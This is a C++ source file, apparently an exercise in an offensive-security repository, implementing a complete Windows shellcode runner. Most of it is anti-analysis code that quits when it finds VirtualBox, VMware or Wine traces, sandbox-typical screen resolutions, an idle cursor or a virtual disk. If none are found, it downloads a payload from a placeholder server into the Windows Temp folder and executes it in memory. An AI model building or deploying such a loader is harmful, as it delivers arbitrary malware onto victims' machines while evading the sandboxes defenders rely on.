-
Notifications
You must be signed in to change notification settings - Fork 73
/
Copy pathshellcode-runner-exercises13.cpp
270 lines (229 loc) · 8.93 KB
/
shellcode-runner-exercises13.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
#include <windows.h>
#include <iostream>
#include <vector>
#include <string>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
bool IsVirtualMachine() {
const std::vector<std::pair<HKEY, std::wstring>> registryChecks = {
{HKEY_LOCAL_MACHINE, L"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0"},
{HKEY_LOCAL_MACHINE, L"HARDWARE\\Description\\System"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Control\\SystemInformation"},
{HKEY_LOCAL_MACHINE, L"HARDWARE\\ACPI\\DSDT\\VBOX__"},
{HKEY_LOCAL_MACHINE, L"HARDWARE\\ACPI\\FADT\\VBOX__"},
{HKEY_LOCAL_MACHINE, L"HARDWARE\\ACPI\\RSDT\\VBOX__"},
{HKEY_LOCAL_MACHINE, L"SOFTWARE\\Oracle\\VirtualBox Guest Additions"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxGuest"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxMouse"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxService"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxSF"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxVideo"},
{HKEY_LOCAL_MACHINE, L"SOFTWARE\\VMware, Inc.\\VMware Tools"},
{HKEY_LOCAL_MACHINE, L"SOFTWARE\\Wine"},
{HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\Disk\\Enum"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Enum\\IDE"},
{HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Enum\\SCSI"}
};
for (const auto& regCheck : registryChecks) {
HKEY hKey;
if (RegOpenKeyExW(regCheck.first, regCheck.second.c_str(), 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true;
}
}
const std::vector<std::wstring> fileChecks = {
L"system32\\drivers\\VBoxMouse.sys",
L"system32\\drivers\\VBoxGuest.sys",
L"system32\\drivers\\VBoxSF.sys",
L"system32\\drivers\\VBoxVideo.sys",
L"system32\\vboxdisp.dll",
L"system32\\vboxhook.dll",
L"system32\\vboxmrxnp.dll",
L"system32\\vboxogl.dll",
L"system32\\vboxoglarrayspu.dll",
L"system32\\vboxoglcrutil.dll",
L"system32\\vboxoglerrorspu.dll",
L"system32\\vboxoglfeedbackspu.dll",
L"system32\\vboxoglpackspu.dll",
L"system32\\vboxoglpassthroughspu.dll",
L"system32\\vboxservice.exe",
L"system32\\vboxtray.exe",
L"system32\\VBoxControl.exe",
L"system32\\drivers\\vmmouse.sys",
L"system32\\drivers\\vmhgfs.sys",
L"system32\\drivers\\vm3dmp.sys",
L"system32\\drivers\\vmci.sys",
L"system32\\drivers\\vmhgfs.sys",
L"system32\\drivers\\vmmemctl.sys",
L"system32\\drivers\\vmmouse.sys",
L"system32\\drivers\\vmrawdsk.sys",
L"system32\\drivers\\vmusbmouse.sys"
};
for (const auto& fileCheck : fileChecks) {
if (GetFileAttributesW(fileCheck.c_str()) != INVALID_FILE_ATTRIBUTES) {
return true;
}
}
return false;
}
bool IsSandboxByResolution() {
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
const int sandboxResolutions[][2] = {
{1024, 768},
{800, 600},
{640, 480}
};
for (const auto& resolution : sandboxResolutions) {
if (screenWidth == resolution[0] && screenHeight == resolution[1]) {
return true;
}
}
return false;
}
bool IsSandboxByMouseMovement() {
POINT pt;
GetCursorPos(&pt);
if (pt.x == 0 && pt.y == 0) {
return true;
}
return false;
}
bool IsVirtualDisk() {
HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cerr << "Failed to open device." << std::endl;
return false;
}
STORAGE_PROPERTY_QUERY storagePropertyQuery;
DWORD bytesReturned;
char buffer[10000];
memset(&storagePropertyQuery, 0, sizeof(STORAGE_PROPERTY_QUERY));
storagePropertyQuery.PropertyId = StorageDeviceProperty;
storagePropertyQuery.QueryType = PropertyStandardQuery;
if (DeviceIoControl(hDevice, IOCTL_STORAGE_QUERY_PROPERTY, &storagePropertyQuery, sizeof(STORAGE_PROPERTY_QUERY),
&buffer, sizeof(buffer), &bytesReturned, NULL)) {
STORAGE_DEVICE_DESCRIPTOR* deviceDescriptor = (STORAGE_DEVICE_DESCRIPTOR*)buffer;
char vendorId[256] = { 0 };
char productId[256] = { 0 };
if (deviceDescriptor->VendorIdOffset != 0) {
strcpy_s(vendorId, sizeof(vendorId), buffer + deviceDescriptor->VendorIdOffset);
}
if (deviceDescriptor->ProductIdOffset != 0) {
strcpy_s(productId, sizeof(productId), buffer + deviceDescriptor->ProductIdOffset);
}
std::cout << "Vendor ID: " << vendorId << std::endl;
std::cout << "Product ID: " << productId << std::endl;
if (strstr(vendorId, "VMware") || strstr(vendorId, "VBOX") || strstr(productId, "Virtual")) {
CloseHandle(hDevice);
return true;
}
}
else {
std::cerr << "DeviceIoControl failed." << std::endl;
CloseHandle(hDevice);
return false;
}
CloseHandle(hDevice);
return false;
}
bool DownloadFile(const char* url, const char* localPath) {
HINTERNET hInternet = InternetOpenA("Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
std::cerr << "InternetOpenA failed." << std::endl;
return false;
}
HINTERNET hUrl = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hUrl == NULL) {
std::cerr << "InternetOpenUrlA failed." << std::endl;
InternetCloseHandle(hInternet);
return false;
}
HANDLE hFile = CreateFileA(localPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "CreateFileA failed." << std::endl;
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
return false;
}
char buffer[4096];
DWORD bytesRead;
DWORD bytesWritten;
BOOL bRead = InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead);
while (bRead && bytesRead > 0) {
WriteFile(hFile, buffer, bytesRead, &bytesWritten, NULL);
bRead = InternetReadFile(hUrl, buffer, sizeof(buffer), &bytesRead);
}
CloseHandle(hFile);
InternetCloseHandle(hUrl);
InternetCloseHandle(hInternet);
return true;
}
bool ExecuteShellcodeFromFile(const char* filePath) {
HANDLE hFile = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
std::cerr << "CreateFileA failed." << std::endl;
return false;
}
DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE || fileSize == 0) {
std::cerr << "Invalid file size." << std::endl;
CloseHandle(hFile);
return false;
}
unsigned char* shellcode = (unsigned char*)VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_READWRITE);
if (shellcode == NULL) {
std::cerr << "VirtualAlloc failed." << std::endl;
CloseHandle(hFile);
return false;
}
DWORD bytesRead;
if (!ReadFile(hFile, shellcode, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
std::cerr << "ReadFile failed." << std::endl;
VirtualFree(shellcode, 0, MEM_RELEASE);
CloseHandle(hFile);
return false;
}
CloseHandle(hFile);
DWORD oldProtect;
if (!VirtualProtect(shellcode, fileSize, PAGE_EXECUTE_READ, &oldProtect)) {
std::cerr << "VirtualProtect failed." << std::endl;
VirtualFree(shellcode, 0, MEM_RELEASE);
return false;
}
void(*func)();
func = (void(*)())shellcode;
func();
VirtualFree(shellcode, 0, MEM_RELEASE);
return true;
}
int main() {
if (IsVirtualMachine()) {
std::cout << "Running in a virtual machine environment.\n";
return 1;
}
if (IsSandboxByResolution()) {
std::cout << "Running in a sandbox environment (resolution check).\n";
return 1;
}
if (IsSandboxByMouseMovement()) {
std::cout << "Running in a sandbox environment (mouse movement check).\n";
return 1;
}
if (IsVirtualDisk()) {
std::cout << "Running in a virtual environment (HDD check).\n";
return 1;
}
const char* url = "http://your-server.com/shellcode.bin";
const char* localPath = "C:\\Windows\\Temp\\shellcode.bin";
if (!DownloadFile(url, localPath)) {
std::cerr << "Failed to download file." << std::endl;
return 1;
}
if (!ExecuteShellcodeFromFile(localPath)) {
std::cerr << "Failed to execute shellcode." << std::endl;
return 1;
}
return 0;
}